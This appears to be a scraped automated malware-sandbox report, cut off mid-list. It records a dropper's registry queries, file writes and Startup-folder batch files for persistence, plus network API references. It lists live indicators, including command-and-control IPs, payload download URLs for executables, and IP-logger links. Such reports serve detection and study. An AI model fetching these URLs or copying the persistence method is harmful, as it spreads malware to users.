"QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "BB7917ED8063B9FD1CF3EA57FED87A5A"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "")44:T5a4,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\bb7917ed8063b9fd1cf3ea57fed87a5a.exe" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "\Device\HarddiskVolume2\BCRYPT.DLL" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\bcrypt.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\msvcrt.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\rpcrt4.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\sechost.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\advapi32.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\ucrtbase.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\bcryptprimitives.dll" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to touch file "C:\Windows\System32\combase.dll"45:T923,"tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\BackupAlarms.bat" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\ClocX.exe" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Afrikaans.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Arabic.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Bosanski.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Brazilian Portuguese.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Bulgarian.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Czech.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Danish.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Deutsch.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\English.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Espanol.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Estonian.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\French.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Greek.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Hebrew.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Hungarian.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Indonesian.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Italiano.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Japanese.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Korean.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Nederlands.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Polish.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Portuguese.lng" "tADoao6OOjGypodPFPdb9O4N.exe" touched file "C:\Program Files (x86)\ClocX\Lang\Romanian.lng"46:Tbd0,"CasPol.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vtardEUI404h3u3aDsbSOFUT.bat" "CasPol.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "CasPol.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\09hUFR7PG3zWosUIIgM49wOc.bat" "CasPol.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6EvAx3ALaKFuZU0xB6heb2kP.bat" "CasPol.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qpaIkOaFrndVWFbfVCgOcFwk.bat" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\K8KW60KY.txt" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\plus[1].htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\syncUpd[1].exe" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\F0LG0QT9.htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\Q8ZXU13X.htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\FZ0NXR46.htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\09KCT5EA.htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\K8KW60KY.txt" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\T1MM1X3A\plus[1].htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\LSCBY323\syncUpd[1].exe" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\9SSPAW46\F0LG0QT9.htm" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\4EKOOWYY\Q8ZXU13X.htm"47:Tccb,"bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to access non-existent file "\Device\HarddiskVolume2\BCRYPT.DLL" "bb7917ed8063b9fd1cf3ea57fed87a5a.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\RPCSS.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\URLMON.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\BCRYPT.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\CRYPTSP.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\PSAPI.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\RASAPI32.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\WS2_32.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\WINHTTP.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\FLTLIB.DLL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\SHELL32.DLL" "CasPol.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll"48:Tb93,"CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CASPOL.EXE.LOG" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\Config\SECURITY.CONFIG" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\Config\SECURITY.CONFIG.CCH" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\Config\ENTERPRISESEC.CONFIG" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\Config\ENTERPRISESEC.CONFIG.CCH" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe:ZONE.IDENTIFIER" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\NativeImages_v4.0.30319_32\NEW" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\CASPOL.INI" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\cX0CFSimOYMlAO2cu39CWNQ6.exe:ZONE.IDENTIFIER" "CasPol.exe" trying to access non-existent file "C:\Users\%OSUSER%\Pictures\cX0CFSimOYMlAO2cu39CWNQ6.exe:Zone.Identifier" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\0XuD4vX5Sz9Si5kHJ98Ucp7k.exe:ZONE.IDENTIFIER" "CasPol.exe" trying to access non-existent file "C:\Users\%OSUSER%\Pictures\0XuD4vX5Sz9Si5kHJ98Ucp7k.exe:Zone.Identifier" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\pnyhlJ15kIGAuyP1DTRWyj5L.exe:ZONE.IDENTIFIER" "CasPol.exe" trying to access non-existent file "C:\Users\%OSUSER%\Pictures\pnyhlJ15kIGAuyP1DTRWyj5L.exe:Zone.Identifier" "CasPol.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\tADoao6OOjGypodPFPdb9O4N.exe:ZONE.IDENTIFIER" "CasPol.exe" trying to access non-existent file "C:\Users\%OSUSER%\Pictures\tADoao6OOjGypodPFPdb9O4N.exe:Zone.Identifier" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\PNYHLJ15KIGAUYP1DTRWYJ5L.EXE.LOCAL" "tADoao6OOjGypodPFPdb9O4N.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\Pictures\TADOAO6OOJGYPODPFPDB9O4N.EXE.LOCAL" "tADoao6OOjGypodPFPdb9O4N.exe" trying to access non-existent file "\Device\HarddiskVolume2\X255F2135"49:T580,"CasPol.exe" writes file "c:\users\%osuser%\appdata\local\wm27vb5vhfb43rvkrgjritye.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\vtardeui404h3u3adsbsofut.bat" "CasPol.exe" writes file "c:\users\%osuser%\pictures\cx0cfsimoymlao2cu39cwnq6.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\local\mso0rgqpzgoforcmssseirzy.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\09hufr7pg3zwosuiigm49woc.bat" "CasPol.exe" writes file "c:\users\%osuser%\pictures\0xud4vx5sz9si5khj98ucp7k.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\local\7kvcffydveerh4uvg4dyscjn.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\6evax3alakfuzu0xb6heb2kp.bat" "CasPol.exe" writes file "c:\users\%osuser%\pictures\pnyhlj15kigauyp1dtrwyj5l.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\local\eqxwefwdefvkedjrsjjrozcn.exe" "CasPol.exe" writes file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\startup\qpaikoafrndvwfbfvcgocfwk.bat" "CasPol.exe" writes file "c:\users\%osuser%\pictures\tadoao6oojgypodpfpdb9o4n.exe" "CasPol.exe" writes file "%localappdata%\wm27vb5vhfb43rvkrgjritye.exe" "pnyhlJ15kIGAuyP1DTRWyj5L.exe" writes file "c:\users\%osuser%\appdata\local\temp\broomsetup.exe"4a:Tf14,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000736-00000C26-44383403") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00003068-00000C26-51428902") Found reference to API "WSASendDisconnect" (Indicator: "WSASend"; Source: "00000000-00003068-00000C26-51429267") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003068-00000C26-51429311") Found reference to API "WSARecvDisconnect" (Indicator: "WSARecv"; Source: "00000000-00003068-00000C26-51429346") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00003068-00000C26-51429392") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00003068-00000C26-51429445") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001032-00000C26-56793275") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001032-00000C26-56793311") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001032-00000C26-56793383") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001032-00000C26-56793457") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001032-00000C26-56793492") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001032-00000C26-56793527") Found reference to API "HttpSendRequestExW" (Indicator: "HttpSendRequest"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; Source: "00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API "11763677660,7372,3199,,InternetOpenW,Wininet.dll,"00:17:35.078",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00001216.00000000.67526.030AB000.00000004.mdmp") Found reference to API "Handle %1 created by InternetOpenURL: SessionHandle=%2,URL=%4, Headers=%6, Flags=%7" (Indicator: "InternetOpen"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found reference to API "Handle %1 created by InternetConnect: SessionHandle=%2, Server=%4:%5, %7, Flags=%8" (Indicator: "InternetConnect"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found reference to API "Request handle %1 created by HttpOpenRequest: ConnectionHandle=%2, %4, Target=%6, Ver=%8, Referrer=%10, Media types=%12, Flags=%13" (Indicator: "HttpOpenRequest"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp") Found reference to API "nslookup: WSAStartup:%0" (Indicator: "WSAStartup"; Source: "00000000-00006224.00000000.67640.05470000.00000002.mdmp")4b:Tcf8,"67.218.111.202" "5.42.64.35" "47.236.140.86" "91.92.254.7" Potential IP "67.218.111.202" found in string "/scripts/plus.php?ip=67.218.111.202&substr=two&s=ab" Potential IP "67.218.111.202" found in string "GET /scripts/plus.php?ip=67.218.111.202&substr=two&s=ab HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: 91.92.254.7Connection: Keep-AliveCache-Control: no-cache" "77.91.76.36" Potential IPs "5.42.64.35" "47.236.140.86" found in string "179http://5.42.64.35/InstallSetup2.exehttps://flyawayaero.net/baf14778c246e15550645e30ba78ce1c.exehttps://monoblocked.com/385118/setup.exehttps://geofaps.com/6779d89b7a368f4f3f340b50a9d18d71.exehttp://47.236.140.86/s/fourt.exehttp://net.geo.opera.c" "1.0.5.2" "1.92.254.7" Potential IP "67.218.111.202" found in string "scripts/plus.php?ip=67.218.111.202&substr=two&s=ab" Potential IP "91.92.254.7" found in string "http://91.92.254.7/scripts/plus.php?ip=" Potential IP "5.42.64.35" found in string "http://5.42.64.35/syncUpd.exe" Potential IP "7.218.111.202" found in string "7.218.111.202&substr=two&s=ab" Potential IPs "91.92.254.7" "67.218.111.202" found in string "http://91.92.254.7/scripts/plus.php?ip=67.218.111.202&substr=two&s=ab" Potential IP "91.92.254.7" found in string "ttp://91.92.254.7/" Potential IP "67.218.111.202" found in string "ip=67.218.111.202&substr=two&s=ab" Potential IP "5.42.64.35" found in string "ttp://5.42.64.35/syncUpd.exe" Potential IP "67.218.111.202" found in string "ipts/plus.php?ip=67.218.111.202&substr=two&s=ab" Potential IP "67.218.111.202" found in string "pts/plus.php?ip=67.218.111.202&substr=two&s=ab" Potential IP "67.218.111.202" found in string "?ip=67.218.111.202&substr=two&s=ab" "5.1.32.0" "17.005.0107.0008" "2.13.0.0" "3.3.14.3" "2.53.0.0" "5.2.24.0" Potential IPs "2.0.0.1" "2.0.0.20" "24.0.0.1" "24.0.0.22" found in string "2.0.0.1-2.0.0.20, 24.0.0.1-24.0.0.22" Potential IP "127.0.0.1" found in string "The WinRM client cannot process the request. If you do not specify an authentication mechanism or you specify Kerberos, then you cannot use "localhost" or "127.0.0.1" or "[::1]" for the remote host name." Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.Address=!(157.59.136.1)" Potential IPs "157.59.136.1" "157.59.136.11" found in string "e.g. IPv4.Address=(157.59.136.1,157.59.136.11)" Potential IP "157.59.136.1" found in string "e.g. IPv4.SourceAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "e.g. IPv4.DestinationAddress=157.59.136.1" Potential IP "157.59.136.1" found in string "IPv4.Address=157.59.136.1'" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1'" Potential IP "157.59.136.1" found in string "This will capture IPv4 packets only from 157.59.136.1, and it" Potential IP "157.59.136.1" found in string "e.g. 'netsh trace start capture=yes IPv4.SourceAddress=157.59.136.1" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.Address=(2.0.0.0-3.0.0.0)" Potential IPs "2.0.0.0" "3.0.0.0" found in string "providerFilter=Yes IPv4.SourceAddress=(2.0.0.0,3.0.0.0)" Potential IP "2.0.0.0" found in string "providerFilter=Yes IPv4.DestinationAddress=!(2.0.0.0)" "1.0.0.0"4c:T22f0,Heuristic match: "T{|v.CA" Heuristic match: "8k.pm" Heuristic match: ",Co_.IM" Heuristic match: ">4}.uA" Pattern match: "https://sectigo.com/CPS0" Pattern match: "crl.sectigo.com/SectigoRSATimeStampingCA.crl0t" Pattern match: "crt.sectigo.com/SectigoRSATimeStampingCA.crt0#" Pattern match: "http://ocsp.sectigo.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://nsis.sf.net/NSIS_ErrorError" Pattern match: "https://cdn.iplogger.org/favicon.ico" Pattern match: "U.Uis/cvrl1T%,:#$tQy.-|VEjUL" Pattern match: "C.xiR/LSL3=x|%[R36]1cX" Pattern match: "http://www.geocities.co.jp/SiliconValley-Sunnyvale/4137/;e-Mail" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "http://www.zonealarm.com/" Pattern match: "https://www.zonealarm.com/" Heuristic match: "net.geo.opera.com" Heuristic match: "api.ipify.org" Pattern match: "www.zonealarm.com" Heuristic match: "flyawayaero.net" Heuristic match: "geofaps.com" Heuristic match: "iplogger.com" Heuristic match: "monoblocked.com" Heuristic match: "pastebin.com" Heuristic match: "usa.kaspersky.com" Pattern match: "www.kaspersky.com" Heuristic match: "yip.su" Heuristic match: "zonealarm.com" Pattern match: "http://nsis.sf.net/NSIS_Error" Pattern match: "https://cdn.iplogger.org/redirect/brand.png" Pattern match: "https://yip.su/RNWPd" Pattern match: "https://cdn.iplogger.org/redirect/logo-dark.png" Pattern match: "https://iplogger.org/" Pattern match: "https://iplogger.org/privacy/" Pattern match: "https://yip.su/redirect-" Pattern match: "http://www.clocx.net/help.php?lang=" Pattern match: "http://www.clocx.net" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/siterenderer/_next/static/css/common.f62d364ff8295213c5b23ab467be0402.css" Pattern match: "https://sgtm.kaspersky.de/gtm.js?id=" Pattern match: "https://www.googletagmanager.com/gtm.js?id=" Pattern match: "service.maxymiser.net/cdn/com.kaspersky/js/mmapi.js" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/fm/site-editor/c6/c62d02a0e46ba1fcf338c69898e1fd64/processed/tablet-background-q75.jpg" Pattern match: "https://d3kwb303vesg1m.cloudfront.net/fm/site-editor/9f/9f3b3c69d0934062e3aa1825c5000a07/processed/desktop-background-q75-r1920.jpg" Pattern match: 